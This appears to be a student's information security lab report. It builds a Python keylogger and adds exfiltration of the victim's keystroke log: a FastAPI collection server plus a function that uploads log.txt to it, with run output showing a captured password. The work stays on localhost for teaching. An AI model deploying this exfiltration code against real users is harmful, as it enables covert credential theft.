

```
~/Documents/AUCA/FALL_2026/Information_Security/Lab_13
• > mkdir keylogger

~/Documents/AUCA/FALL_2026/Information_Security/Lab_13
• > cd keylogger

~/Documents/AUCA/FALL_2026/Information_Security/Lab_13/keylogger
• > python3 -m venv .venv

~/Documents/AUCA/FALL_2026/Information_Security/Lab_13/keylogger
○ > |
```

```
• > nvim main.py
```

```
~/Documents/AUCA/FALL_2026/Information_Security/Lab_13/keylogger
○ > |
```

```
~/Documents/AUCA/FALL_2026/Information_Security/Lab_13/keylogger
> pip install pynput
Collecting pynput
  Downloading pynput-1.8.2-py2.py3-none-any.whl.metadata (32 kB)
Collecting six (from pynput)
  Using cached six-1.17.0-py2.py3-none-any.whl.metadata (1.7 kB)
Collecting pyobjc-framework-ApplicationServices>=8.0 (from pynput)
```

log.txt ×

keylogger > log.txt

```
1  hellols
2  main.py
3  pyython
4  space
5  create
6
```

Task: Now logged keys are assumed to stay on victim's machine in log.txt file. Modify this script and add function that eventually sends log.txt file data to your API server so that logged files are always eventually saved on your storages

```
~/Documents/AUCA/FALL_2026/Information_Security/Lab_13/keylogger keyl
> pip install requests
Collecting requests
  Using cached requests-2.34.2-py3-none-any.whl.metadata (4.8 kB)
Collecting charset_normalizer<4,>=2 (from requests)
  Using cached charset_normalizer-3.5.1-cp311-cp311-macosx_10_9_universal2.whl.metadata (45 kB)
Collecting idna<4,>=2.5 (from requests)
  Using cached idna-3.20-py3-none-any.whl.metadata (7.2 kB)
Collecting urllib3<3,>=1.26 (from requests)
  Using cached urllib3-2.8.0-py3-none-any.whl.metadata (7.4 kB)
Collecting certifi>=2023.5.7 (from requests)
  Using cached certifi-2026.7.22-py3-none-any.whl.metadata (2.5 kB)
Using cached requests-2.34.2-py3-none-any.whl (73 kB)
Using cached charset_normalizer-3.5.1-cp311-cp311-macosx_10_9_universal2.whl (363 kB)
Using cached idna-3.20-py3-none-any.whl (69 kB)
Using cached urllib3-2.8.0-py3-none-any.whl (135 kB)
Using cached certifi-2026.7.22-py3-none-any.whl (136 kB)
Installing collected packages: urllib3, idna, charset_normalizer, certifi, requests
Successfully installed certifi-2026.7.22 charset_normalizer-3.5.1 idna-3.20 requests-2.34.2 urllib3-2.8.0
```

```
~/Documents/AUCA/FALL_2026/Information_Security/Lab_13/keylogger
> pip install fastapi
Collecting fastapi
  Using cached fastapi-0.141.1-py3-none-any.whl.metadata (27 kB)
Collecting starlette>=0.46.0 (from fastapi)
  Using cached starlette-1.7.0-py3-none-any.whl.metadata (6.6 kB)
Collecting pydantic>=2.9.0 (from fastapi)
  Using cached pydantic-2.13.5-py3-none-any.whl.metadata (110 kB)
Collecting typing-extensions>=4.8.0 (from fastapi)
  Using cached typing_extensions-4.16.0-py3-none-any.whl.metadata (3.3 kB)
Collecting typing-inspection>=0.4.2 (from fastapi)
  Using cached typing_inspection-0.4.4-py3-none-any.whl.metadata (2.6 kB)
Collecting annotated-doc>=0.0.2 (from fastapi)
  Using cached annotated_doc-0.0.5-py3-none-any.whl.metadata (6.5 kB)
```

```
• > nvim server.py
```

```
~/Documents/AUCA/FALL_2026/Information_Security/Lab_13/keylogger
• > ls
log.txt  main.py  server.py
```

```
~/Documents/AUCA/FALL_2026/Information_Security/Lab_13/keylogger
○ > |
```

log.txt

main.py

server.py X

keylogger > server.py > ...

```
1  from fastapi import FastAPI, UploadFile, File
2  from fastapi.responses import PlainTextResponse
3  import os
4
5  app = FastAPI()
6
7  LOG_PATH = os.path.abspath("log.txt")
8
9
10 @app.post("/")
11 async def receive_log(file: UploadFile = File(...)):
12     data = await file.read()
13
14     with open(LOG_PATH, "wb") as f:
15         f.write(data)
16
17     print(f"Received: {file.filename}")
18     print(f"Saved to: {LOG_PATH}")
19
20     return {
21         "status": "ok",
22         "filename": file.filename
23     }
24
25
26 @app.get("/", response_class=PlainTextResponse)
27 async def show_log():
28     if not os.path.exists(LOG_PATH):
29         return "Log file has not been received yet."
30
31     try:
32         with open(LOG_PATH, "r", encoding="utf-8") as f:
33             return f.read()
34
35     except UnicodeDecodeError:
36         return "log.txt is not UTF-8 text."
37
```

```
def send_log_to_server():
    try:
        with open("log.txt", "rb") as file:
            response = requests.post(
                "http://localhost:8000/",
                files={"file": ("log.txt", file, "text/plain")},
                timeout=10
            )

            if response.ok:
                print("Log sent successfully!")
            else:
                print("Server error:", response.status_code, response.text)

    except requests.RequestException as e:
        print("Failed to send log:", e)
    except OSError as e:
        print("Failed to open log.txt:", e)
```

```
send_log_to_server()
```

```
o > uvicorn server:app --host 127.0.0.1 --port 8000
INFO:      Started server process [24322]
INFO:      Waiting for application startup.
INFO:      Application startup complete.
INFO:      Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)
```

```
• > python main.py
This process is not trusted! Input event monitoring will not be possible until it is added to accessibility clients.
Start key logging...
Key Pressed: 'p'
pKey Pressed: 'a'
aKey Pressed: 's'
sKey Pressed: 's'
sKey Pressed: 'w'
wKey Pressed: 'o'
oKey Pressed: 'r'
rKey Pressed: 'd'
dKey Pressed: '1'
1Key Pressed: '2'
2Key Pressed: '3'
3Key Pressed: '2'
2Key Pressed: '0'
0Key Pressed: '2'
2Key Pressed: '6'
6Key Pressed: Key.space
Key Pressed: 'l'
lKey Pressed: 'o'
oKey Pressed: 'g'
gKey Pressed: 'i'
iKey Pressed: 'n'
nKey Pressed: Key.space
Key Pressed: 'n'
nKey Pressed: 'a'
aKey Pressed: 'm'
mKey Pressed: 'e'
eKey Pressed: Key.space
Key Pressed: 's'
sKey Pressed: 'u'
uKey Pressed: 'r'
rKey Pressed: 'n'
nKey Pressed: 'a'
```

```
aKey Pressed: 'm'
mKey Pressed: 'e'
eKey Pressed: Key.enter
```

```
End key logging...
Log sent successfully!
```

← → ↺ 🏠 ⓘ localhost:8000

Program finished
Some log data...
password1232026
login
name
surname

```
o Received: log.txt
Saved to: /Users/arsen/Documents/AUCA/FALL_2026/Information_Security/Lab_13/keylogger/log.txt
INFO:      127.0.0.1:50277 - "POST / HTTP/1.1" 200 OK
INFO:      127.0.0.1:50283 - "GET / HTTP/1.1" 200 OK
```

□